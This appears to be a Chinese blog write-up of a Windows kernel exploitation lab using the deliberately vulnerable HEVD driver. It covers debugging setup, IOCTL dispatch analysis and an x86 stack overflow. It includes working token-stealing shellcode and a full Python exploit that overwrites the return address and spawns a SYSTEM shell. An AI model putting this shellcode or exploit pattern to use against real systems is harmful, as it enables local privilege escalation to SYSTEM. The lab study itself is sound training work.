win_kernel_exp_1

环境配置

首先将目标机器调成debug模式:

1
2
3
4
5
C:\Windows\system32>bcdedit /copy {current} /d "Kernel Debugging On"
The entry was successfully copied to {自动生成的id}.

C:\Windows\system32>bcdedit /debug {自动生成的id} on
The operation completed successfully.

用COM pipe串行端口配置双机调试。

在目标机器上配置好HEVD驱动后有个坑,windbg里的HEVD的符号表必须配置C:\projects\hevd\build\driver\vulnerable\x86\HEVD\HEVD.pdb,按照习惯配置SRV*path*不行。

此时就可以看到HEVD驱动的symbol载入了:

1
2
3
4
5
6
7
8
9
10
11
12
0: kd> x /D HEVD!a*
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

9659e4f0 HEVD!AllocateFakeObjectNonPagedPoolNx (void)
9659e11c HEVD!AllocateFakeObjectNonPagedPool (void)
9659e236 HEVD!AllocateUaFObjectNonPagedPool (void)
9659e734 HEVD!AllocateUaFObjectNonPagedPoolNxIoctlHandler (void)
9659cbce HEVD!ArbitraryWriteIoctlHandler (void)
9659e216 HEVD!AllocateFakeObjectNonPagedPoolIoctlHandler (void)
9659e5ee HEVD!AllocateFakeObjectNonPagedPoolNxIoctlHandler (void)
9659e60e HEVD!AllocateUaFObjectNonPagedPoolNx (void)
9659e35a HEVD!AllocateUaFObjectNonPagedPoolIoctlHandler (void)

内核常用的两个函数

和设备驱动交互的句柄通过createFileA获得:

1
2
3
4
5
6
7
8
9
HANDLE CreateFileA(
[in] LPCSTR lpFileName, // 指向一个以 NULL 结尾的字符串,表示要创建或打开的目标文件名。可以是绝对路径或相对路径。
[in] DWORD dwDesiredAccess, // 指定对文件的访问权限。例如 GENERIC_READ(只读)、GENERIC_WRITE(写入)等。
[in] DWORD dwShareMode, // 指定文件的共享模式。例如 FILE_SHARE_READ(允许其他进程读取)、FILE_SHARE_WRITE(允许写入)等。
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 指向 SECURITY_ATTRIBUTES 结构的指针,指定安全描述符和句柄继承性。如果为 NULL,则使用默认安全属性。
[in] DWORD dwCreationDisposition, // 指定文件存在或不存在时的操作。例如 CREATE_NEW(创建新文件)、OPEN_EXISTING(打开现有文件)等。
[in] DWORD dwFlagsAndAttributes, // 指定文件属性和标志。例如 FILE_ATTRIBUTE_NORMAL(普通文件)、FILE_FLAG_OVERLAPPED(异步 I/O)等。
[in, optional] HANDLE hTemplateFile // 模板文件的句柄,用于复制模板文件的属性。如果为 NULL,则不使用模板文件。
);

获得句柄后使用deviceIoControl函数获得设备的输入和输出控制(IOCTL)接口:

1
2
3
4
5
6
7
8
9
10
BOOL DeviceIoControl(
[in] HANDLE hDevice, // 要操作的设备句柄。通常通过 CreateFile 或类似函数获取。
[in] DWORD dwIoControlCode, // 指定要执行的设备 I/O 控制代码(IOCTL)。该代码定义了具体的操作类型。
[in, optional] LPVOID lpInBuffer, // 指向输入缓冲区的指针,包含传递给设备的数据。如果操作不需要输入数据,则可以为 NULL。
[in] DWORD nInBufferSize, // 输入缓冲区的大小(以字节为单位)。如果 lpInBuffer 为 NULL,则此值应为 0。
[out, optional] LPVOID lpOutBuffer, // 指向输出缓冲区的指针,用于接收设备返回的数据。如果操作不返回数据,则可以为 NULL。
[in] DWORD nOutBufferSize, // 输出缓冲区的大小(以字节为单位)。如果 lpOutBuffer 为 NULL,则此值应为 0。
[out, optional] LPDWORD lpBytesReturned, // 指向一个 DWORD 变量的指针,用于接收实际返回的字节数。如果调用者不关心返回的字节数,则可以为 NULL。
[in, out, optional] LPOVERLAPPED lpOverlapped // 指向 OVERLAPPED 结构的指针,用于异步操作。如果设备句柄是以同步方式打开的,则此参数被忽略,可为 NULL。
);

简单调试一下DriverEntry

重启机器后break在HEVD的DriverEntry函数:

1
2
3
4
5
6
7
8
9
10
11
12
kd> bu HEVD!DriverEntry
kd>
kd> lm m H*
start end module name
82e44000 82e7a000 hal (deferred)
8ba00000 8ba08000 hwpolicy (deferred)
kd> g
KDTARGET: Refreshing KD connection
Breakpoint 0 hit
Breakpoint 1 hit
HEVD!DriverEntry:
96c7f000 55 push ebp

看一下IoCreateSymbolicLink的调用,call它的地址的最后1.5个字节是0xB4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
3: kd> bu 96c7f0b4
3: kd> u 96c7f0b4
HEVD!DriverEntry+0xb4 [c:\projects\hevd\driver\hevd\hacksysextremevulnerabledriver.c @ 147]:
96c7f0b4 ff151090c396 call dword ptr [HEVD!_imp__IoCreateSymbolicLink (96c39010)]
96c7f0ba 8b350490c396 mov esi,dword ptr [HEVD!_imp__DbgPrintEx (96c39004)]
96c7f0c0 8bf8 mov edi,eax
96c7f0c2 6812f2c796 push offset HEVD! ?? ::PBOPGDP::`string' (96c7f212)
96c7f0c7 68aef3c796 push offset HEVD! ?? ::PBOPGDP::`string' (96c7f3ae)
96c7f0cc 6a03 push 3
96c7f0ce 6a4d push 4Dh
96c7f0d0 ffd6 call esi
3: kd> g
Breakpoint 3 hit
HEVD!DriverEntry+0xb4:
96c7f0b4 ff151090c396 call dword ptr [HEVD!_imp__IoCreateSymbolicLink (96c39010)]
3: kd> r
eax=8d7be9bc ebx=86e0a030 ecx=00000000 edx=85645240 esi=00000000 edi=86e0a0d8
eip=96c7f0b4 esp=8d7be9a0 ebp=8d7be9c8 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!DriverEntry+0xb4:
96c7f0b4 ff151090c396 call dword ptr [HEVD!_imp__IoCreateSymbolicLink (96c39010)] ds:0023:96c39010={nt!IoCreateSymbolicLink (82beab70)}
3: kd> dd esp L1
8d7be9a0 8d7be9bc
3: kd> dS 8d7be9bc
96c7f182 "\DosDevices\HackSysExtremeVulner"
96c7f1c2 "ableDriver"

IoCreateSymbolicLink函数调用:

1
2
3
4
5
6
7
8
9
10
11
NTSTATUS IoCreateSymbolicLink(
[in] PUNICODE_STRING SymbolicLinkName, // 指向一个 UNICODE_STRING 结构,表示要创建的符号链接名称。
// 符号链接是一个用户模式下的路径,用于映射到内核模式下的设备对象。
// 例如:SymbolicLinkName 可以是 "\\DosDevices\\MyDevice"。
// 这个路径通常是用户模式程序用来访问设备的接口。

[in] PUNICODE_STRING DeviceName // 指向一个 UNICODE_STRING 结构,表示目标设备的名称。
// 设备名称是内核模式下设备对象的路径,通常以 "\Device\" 开头。
// 例如:DeviceName 可以是 "\\Device\\MyDriverDevice"。
// 符号链接将指向这个设备名称,从而允许用户模式程序通过符号链接访问设备。
);

可以看到这个函数的第一个参数即DosDeviceName(用户模式下的符号链接名称)是\DosDevices\HackSysExtremeVulnerableDriver,前缀\DosDevices我们可以忽略,当要访问该设备时,只需要访问\\.\HackSysExtremeVulnerableDriver既可,\\.\就是win32的设备的用户空间。

驱动结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
typedef struct _DRIVER_OBJECT {
CSHORT Type;
// 类型字段,用于标识该结构体的类型。通常由系统设置,表示这是一个驱动对象。

CSHORT Size;
// 结构体的大小(以字节为单位)。系统使用此字段来验证结构体的完整性。

PDEVICE_OBJECT DeviceObject;
// 指向设备对象链表的第一个设备对象(DEVICE_OBJECT)。一个驱动程序可以管理多个设备对象。
// 如果没有设备对象,则此字段为 NULL。

ULONG Flags;
// 驱动对象的标志位,用于指示驱动的行为或状态。例如:
// - DO_DEVICE_INITIALIZING:设备正在初始化。
// - DO_BUFFERED_IO:驱动使用缓冲 I/O。
// - DO_DIRECT_IO:驱动使用直接 I/O。

PVOID DriverStart;
// 指向驱动程序代码在内存中的起始地址。通常由加载器设置。

ULONG DriverSize;
// 驱动程序代码的大小(以字节为单位)。

PVOID DriverSection;
// 指向描述驱动程序模块的内存段信息。通常由系统维护,用于调试或卸载。

PDRIVER_EXTENSION DriverExtension;
// 指向驱动扩展结构(DRIVER_EXTENSION),包含额外的驱动信息(如服务键路径)。

UNICODE_STRING DriverName;
// 驱动程序的名称(Unicode 字符串)。通常是以 "\Driver\<DriverName>" 的形式表示。

PUNICODE_STRING HardwareDatabase;
// 指向硬件数据库的 Unicode 字符串(通常是注册表路径)。
// 用于存储与硬件相关的配置信息。

PFAST_IO_DISPATCH FastIoDispatch;
// 指向快速 I/O 分发表(FAST_IO_DISPATCH)。快速 I/O 是一种优化路径,
// 用于处理简单的文件操作,而无需生成 IRP。

PDRIVER_INITIALIZE DriverInit;
// 指向驱动初始化函数(即 DriverEntry 函数)。这是驱动程序的入口点。

PDRIVER_STARTIO DriverStartIo;
// 指向驱动的 StartIo 函数。用于启动排队的 I/O 请求。
// 如果驱动不支持队列 I/O,则此字段为 NULL。

PDRIVER_UNLOAD DriverUnload;
// 指向驱动卸载函数。当驱动被卸载时,系统会调用此函数。
// 如果驱动不支持卸载,则此字段为 NULL。

PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
// 主要功能分发表(Major Function Dispatch Table),是一个函数指针数组。
// 每个元素对应一个 IRP 主功能代码(IRP_MJ_*),如 IRP_MJ_CREATE、IRP_MJ_READ 等。
// 当系统需要处理特定类型的 IRP 时,会调用相应的回调函数。
} DRIVER_OBJECT, *PDRIVER_OBJECT;

HEVD会将IRP功能设置为IRP_MJ_DEVICE_CONTROL,即处理IOCTL(I/O控制)请求,并将其指向IrpDeviceIoCtlHandler函数:

1
2
3
4
5
6
7
8
9
10
11
12
// 使用 memset32 将 DriverObject->MajorFunction 数组的前 0x1C (28) 个元素设置为 IrpNotImplementedHandler 函数指针。
// 这意味着所有未明确指定处理函数的 IRP 主功能代码将使用默认的 IrpNotImplementedHandler 处理函数。
// 这样可以确保驱动程序在接收到未实现的功能请求时不会崩溃,并返回一个适当的错误码。
memset32(DriverObject->MajorFunction, IrpNotImplementedHandler, 0x1Cu);
// 设置 MajorFunction 数组中索引为 0xE (14) 的元素为 IrpDeviceIoCtlHandler 函数指针。
// 这对应于 IRP_MJ_DEVICE_CONTROL 主功能代码,用于处理设备控制(IOCTL)请求。
// 当用户模式应用程序通过 DeviceIoControl API 发送 IOCTL 请求时,系统会调用此处理函数。
DriverObject->MajorFunction[0xE] = IrpDeviceIoCtlHandler;
// 设置 MajorFunction 数组中索引为 2 的元素为 IrpCreateCloseHandler 函数指针。
// 这对应于 IRP_MJ_CLOSE 主功能代码,当用户模式应用程序关闭设备句柄时生成。
// 此处理函数通常用于释放资源、清理状态等操作。
DriverObject->MajorFunction[2] = IrpCreateCloseHandler;

x86栈溢出(无canary)

这道题的核心就是通过溢出获得system权限,简单来说就是让eip指向的shellcode的主要作用就是将当前线程的token替换成system的token。

溢出的关键代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 使用 memset 将 KernelBuffer 的所有字节初始化为 0。
// 这一步确保栈上的缓冲区在使用前是干净的,避免未初始化数据导致的不可预测行为。
memset(KernelBuffer, 0, sizeof(KernelBuffer));

// 设置异常处理记录的 TryLevel 为 0。
// 这表明当前代码块进入了异常处理的范围。
// 如果发生异常(如访问违规),系统会调用相应的异常处理程序。
ms_exc.registration.TryLevel = 0;

// 调用 ProbeForRead 验证用户模式缓冲区 UserBuffer 是否可读。
// 参数说明:
// - UserBuffer: 指向用户模式缓冲区的指针。
// - 0x800u: 缓冲区的大小(2048 字节)。
// - 1u: 对齐要求(1 字节对齐)。
// 如果 UserBuffer 无效或不可访问,ProbeForRead 会触发异常,防止进一步操作。
ProbeForRead(UserBuffer, 0x800u, 1u);

// 使用 memcpy 将用户模式缓冲区 UserBuffer 的内容复制到内核模式栈上的 KernelBuffer。
// 这里触发了栈溢出。
memcpy(KernelBuffer, UserBuffer, Size);

靶机上的测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import struct
import os
from ctypes import *

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080

NULL = None

def main():

kernel32 = windll.kernel32
hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)
if (hHEVD == -1):
print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
exit(-1)

buffer = "wetw0rk"

print("[*] Calling control code 0x222003")
kernel32.DeviceIoControl(hHEVD,
0x222003, # 发生溢出的
buffer,
len(buffer),
NULL,
0x00,
byref(c_ulong()),
NULL)

main()

BufferOverflowStackIoctlHandler调用中,这里需要看一下使用的第二个参数是什么,即_IO_STACK_LOCATION *IrpSp结构体:

1
2
3
4
5
v2 = 0xC0000001;
Parameters = IrpSp->Parameters.CreatePipe.Parameters;// 这里其实指向的是Type3InputBuffer
if ( Parameters )
return TriggerBufferOverflowStack(Parameters, IrpSp->Parameters.Create.Options);
return v2;

断点以后的栈帧情况:

1
2
3
4
5
3: kd> dd esp L5
95a1fac4 ;esp
998780ba ;ret的地址
86ebe888 ;第一个参数
86ebe8f8 ;第二个参数也就是_IO_STACK_LOCATION结构体

_IO_STACK_LOCATION结构体解析一下:

1
2
3
4
5
6
7
8
9
10
11
3: kd> dt _IO_STACK_LOCATION  86ebe8f8 
ntdll!_IO_STACK_LOCATION
+0x000 MajorFunction : 0xe ''
+0x001 MinorFunction : 0 ''
+0x002 Flags : 0x5 ''
+0x003 Control : 0 ''
+0x004 Parameters : <unnamed-tag>
+0x014 DeviceObject : 0x86d258b0 _DEVICE_OBJECT
+0x018 FileObject : 0x86c29290 _FILE_OBJECT
+0x01c CompletionRoutine : (null)
+0x020 Context : (null)

可以看到,这里的Parameters指向了+0x004,于是进一步看里面的内容:

1
2
3
4
5
6
7
8
3: kd> dt _IO_STACK_LOCATION  86ebe8f8 Parameters.DeviceIoControl.
ntdll!_IO_STACK_LOCATION
+0x004 Parameters :
+0x000 DeviceIoControl :
+0x000 OutputBufferLength : 0
+0x004 InputBufferLength : 7
+0x008 IoControlCode : 0x222003
+0x00c Type3InputBuffer : 0x01b46200 Void

然后看buffer内容,也就是Type3InputBuffer的内容:

1
2
3
4
5
6
7
8
9
3: kd> db 0x01b46200 
01b46200 77 00 65 00 74 00 77 00-30 00 72 00 6b 00 00 00 w.e.t.w.0.r.k...
01b46210 01 00 00 00 28 51 42 6a-02 00 00 00 88 37 6a 03 ....(QBj.....7j.
01b46220 40 62 b4 01 28 51 42 6a-01 00 00 00 e8 0d 78 34 @b..(QBj......x4
01b46230 01 00 00 00 28 51 42 6a-02 00 00 00 38 3b 6a 03 ....(QBj....8;j.
01b46240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01b46250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01b46260 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01b46270 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

因此buffer的内容被作为IrpDeviceIoCtlHandler函数的第二个参数结构体中的DeviceIoControl.Type3InputBuffer传入到了漏洞触发的函数TriggerBufferOverflowStack的第一个参数中,并最终导致了栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __stdcall TriggerBufferOverflowStack(void *UserBuffer, unsigned int Size)
{
unsigned __int8 KernelBuffer[2048]; // [esp+10h] [ebp-81Ch] BYREF
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

memset(KernelBuffer, 0, sizeof(KernelBuffer));
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x800u, 1u);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 2048);
_DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}

TriggerBufferOverflowStack下断点可以看到进一步细节:

1
2
3
4
5
6
7
8
9
10
11
12
3: kd> dd esp L5
9a41dab4 9926019a 00726200 00000007 9a41dadc
9a41dac4 9925f0ba
3: kd> db 00726200
00726200 77 00 65 00 74 00 77 00-30 00 72 00 6b 00 00 00 w.e.t.w.0.r.k...
00726210 01 00 00 00 28 51 f1 69-02 00 00 00 88 37 e6 00 ....(Q.i.....7..
00726220 40 62 72 00 28 51 f1 69-01 00 00 00 b4 0d 78 34 @br.(Q.i......x4
00726230 01 00 00 00 28 51 f1 69-02 00 00 00 38 3b e6 00 ....(Q.i....8;..
00726240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00726250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00726260 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00726270 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

TriggerBufferOverflowStack第一个参数即为宽字节存储的”wetw0rk”,第二个参数即为buffer的长度7。

因此这里只要让传入的buffer>512个字节,就会导致栈溢出,同时观察到buffer距离当前栈帧的ebp的距离为,0x81C,因此,构造的buffer的payload如下:

1
payload(2084 byte) = patch(2076 byte) + ebp(4 byte) + rop_addr(4 byte)

测试的poc即:

1
buffer = b"A" * 2080 + b"BCDE"

系统崩溃:

1
2
Access violation - code c0000005 (!!! second chance !!!)
45444342 ?? ???

后面只要把这里的b"BCDE"改成ROP的地址即可。

由于在内核中进行exp,所以这里首先要提权,通常使用令牌窃取,即将目标进程的token改成系统的token。

x86下系统进程的token流程如下:

  1. 获得TEB在0x124处的_KTHREAD结构体地址:
1
2
3: kd> dd fs:[0x124]
0030:00000124 8d757000 00000000 8d757000 00000103

或者:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
3: kd> !pcr
KPCR for Processor 3 at 8d752000:
Major 1 Minor 1
NtTib.ExceptionList: 8d7700fc
NtTib.StackBase: 00000000
NtTib.StackLimit: 00000000
NtTib.SubSystemTib: 8d75bc00
NtTib.Version: 0001b390
NtTib.UserPointer: 00000008
NtTib.SelfTib: 00000000

SelfPcr: 8d752000
Prcb: 8d752120
Irql: 0000001f
IRR: 00000000
IDR: ffffffff
InterruptMode: 00000000
IDT: 8d75b000
GDT: 8d75b800
TSS: 8d75bc00

CurrentThread: 8d757000
NextThread: 00000000
IdleThread: 8d757000

DpcQueue:
  1. _KTHREAD地址的0x40偏移处,是_KAPC_STATE结构体:
1
2
3
4
5
6
7
3: kd>  dt _KAPC_STATE 8d757000+0x40
ntdll!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY [ 0x8d757040 - 0x8d757040 ]
+0x010 Process : 0x856e5888 _KPROCESS
+0x014 KernelApcInProgress : 0 ''
+0x015 KernelApcPending : 0 ''
+0x016 UserApcPending : 0 ''

0x856e5888即_EPROCESS地址,调试时这个也可以用如下方式获取:

1
2
3
4
3: kd> !process 0 0 System
PROCESS 856e5888 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 8c401b28 HandleCount: 546.
Image: System
  1. _EPROCESS结构体的0xf8偏移处就是token结构体地址:
1
2
3: kd> dd 0x856e5888+0xf8
856e5980 8c40124f 00000000 00000000 00000000

由于token结构体低三位是计数用的,所以实际解析结构体要将该地址&0xfffffff0:

1
dt _EX_FAST_REF 8c40124f&fffffff8

即:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
3: kd> !token 8c40124f&fffffff8
_TOKEN 8c401248
TS Session ID: 0
User: S-1-5-18
Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default
05 0x000000005 SeIncreaseQuotaPrivilege Attributes -
07 0x000000007 SeTcbPrivilege Attributes - Enabled Default
08 0x000000008 SeSecurityPrivilege Attributes -
09 0x000000009 SeTakeOwnershipPrivilege Attributes -
10 0x00000000a SeLoadDriverPrivilege Attributes -
11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled Default
12 0x00000000c SeSystemtimePrivilege Attributes -
13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled Default
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled Default
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled Default
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled Default
17 0x000000011 SeBackupPrivilege Attributes -
18 0x000000012 SeRestorePrivilege Attributes -
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled Default
21 0x000000015 SeAuditPrivilege Attributes - Enabled Default
22 0x000000016 SeSystemEnvironmentPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
28 0x00000001c SeManageVolumePrivilege Attributes -
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
31 0x00000001f SeTrustedCredManAccessPrivilege Attributes -
32 0x000000020 SeRelabelPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea ParentToken ID: 0
Modified ID: (0, 3eb)
RestrictedSidCount: 0 RestrictedSids: 00000000
OriginatingLogonSession: 0

官方的payload的提权代码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread: 当前线程指针相对于FS段寄存器的偏移量
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process: 进程结构体指针在_KTHREAD结构中的偏移量
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId: 进程PID在_EPROCESS结构中的偏移量
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink: 活动进程链表的Flink字段在_EPROCESS结构中的偏移量
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token: 进程访问令牌在_EPROCESS结构中的偏移量
#define SYSTEM_PID 0x004 // SYSTEM Process PID: SYSTEM进程的固定PID为4

VOID TokenStealingPayloadWin7() {
__asm {
pushad ; 保存所有通用寄存器的状态到栈中,以便稍后恢复
; Start of Token Stealing Stub

xor eax, eax ; 将eax清零(设置为0)
mov eax, fs:[eax + KTHREAD_OFFSET] ; 获取当前线程的_KTHREAD指针 (FS:[0x124])
; _KTHREAD是当前线程的内核数据结构

mov eax, [eax + EPROCESS_OFFSET] ; 从_KTHREAD结构中获取当前线程所属进程的_EPROCESS指针
; _EPROCESS是进程的内核数据结构

mov ecx, eax ; 将当前进程的_EPROCESS指针保存到ecx中
; 稍后会用它来修改当前进程的Token

mov edx, SYSTEM_PID ; 将SYSTEM进程的PID (0x004) 加载到edx中

SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; 获取下一个进程的ActiveProcessLinks.Flink指针
sub eax, FLINK_OFFSET ; 调整指针以指向_EPROCESS结构的基址
cmp [eax + PID_OFFSET], edx ; 比较当前进程的PID是否等于SYSTEM进程的PID (0x004)
jne SearchSystemPID ; 如果不相等,则继续查找下一个进程

mov edx, [eax + TOKEN_OFFSET] ; 获取SYSTEM进程的Token (访问令牌)
mov [ecx + TOKEN_OFFSET], edx ; 将当前进程的Token替换为SYSTEM进程的Token
; 此时,当前进程已经获得了SYSTEM权限

; End of Token Stealing Stub

popad ; 恢复之前保存的所有通用寄存器的状态

; Kernel Recovery Stub
xor eax, eax ; 将eax设置为0,表示操作成功 (NTSTATUS SUCCESS)
add esp, 12 ; 修复栈指针,清理调用参数占用的空间
pop ebp ; 恢复调用者保存的EBP寄存器
ret 8 ; 返回到调用者,并清理栈上的参数 (8字节)
}
}

使用官方的python poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import struct
import os
from ctypes import *

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040

NULL = None

def main():

kernel32 = windll.kernel32
hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)
if (hHEVD == -1):
print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
exit(-1)

# python3 sickle.py -p windows/x86/kernel_token_stealer -f python3 -v shellcode
# Bytecode generated by Sickle, size: 52 bytes
"""
0: 60 pusha
1: 31 c0 xor eax,eax
3: 64 8b 80 24 01 00 00 mov eax,DWORD PTR fs:[eax+0x124]
a: 8b 40 50 mov eax,DWORD PTR [eax+0x50]
d: 89 c1 mov ecx,eax
f: ba 04 00 00 00 mov edx,0x4
14: 8b 80 b8 00 00 00 mov eax,DWORD PTR [eax+0xb8]
1a: 2d b8 00 00 00 sub eax,0xb8
1f: 39 90 b4 00 00 00 cmp DWORD PTR [eax+0xb4],edx
25: 75 ed jne 0x14
27: 8b 90 f8 00 00 00 mov edx,DWORD PTR [eax+0xf8]
2d: 89 91 f8 00 00 00 mov DWORD PTR [ecx+0xf8],edx
33: 61 popa
"""
shellcode = bytearray()
shellcode += b'\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1'
shellcode += b'\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00'
shellcode += b'\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00'
shellcode += b'\x89\x91\xf8\x00\x00\x00\x61'

print("[*] Allocating RWX memory")
ptrMemory = kernel32.VirtualAlloc(NULL,
len(shellcode),
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE)

print("[*] Creating a char array to house shellcode")
buffer = (c_char * len(shellcode)).from_buffer(shellcode)

print("[*] Copying shellcode array into RWX memory")
kernel32.RtlMoveMemory(c_int(ptrMemory), buffer, len(shellcode))
# 转换成内核的小端unicode形式
ptrShellcode = struct.pack("<L", ptrMemory)

buffer = b"A" * 2080
buffer += ptrShellcode

print("[*] Calling control code 0x222003")
kernel32.DeviceIoControl(hHEVD,
0x222003,
buffer,
len(buffer),
NULL,
0x00,
byref(c_ulong()),
NULL)

os.system("cmd.exe")

main()

TriggerBufferOverflowStack返回的地方设置断点(offset=0x4527e),执行exp即可看到即将进入shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
2: kd> dd esp L1
97133ab4 007e0000
2: kd> dd esp L2
97133ab4 007e0000 0016d0b0
2: kd> db 007e0000
007e0000 60 31 c0 64 8b 80 24 01-00 00 8b 40 50 89 c1 ba `1.d..$....@P...
007e0010 04 00 00 00 8b 80 b8 00-00 00 2d b8 00 00 00 39 ..........-....9
007e0020 90 b4 00 00 00 75 ed 8b-90 f8 00 00 00 89 91 f8 .....u..........
007e0030 00 00 00 61 00 00 00 00-00 00 00 00 00 00 00 00 ...a............
007e0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
007e0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
007e0060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
007e0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

看下遍历完进程链表的数据,此时ecx存放了当前_EPROCESS的地址了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2: kd> bu 007e0027
2: kd> g
Breakpoint 1 hit
007e0027 8b90f8000000 mov edx,dword ptr [eax+0F8h]
2: kd> r
eax=856f0888 ebx=87111378 ecx=86a0d6d0 edx=00000004 esi=82ace17c edi=87111308
eip=007e0027 esp=97133aa0 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
007e0027 8b90f8000000 mov edx,dword ptr [eax+0F8h] ds:0023:856f0980=8c40124f
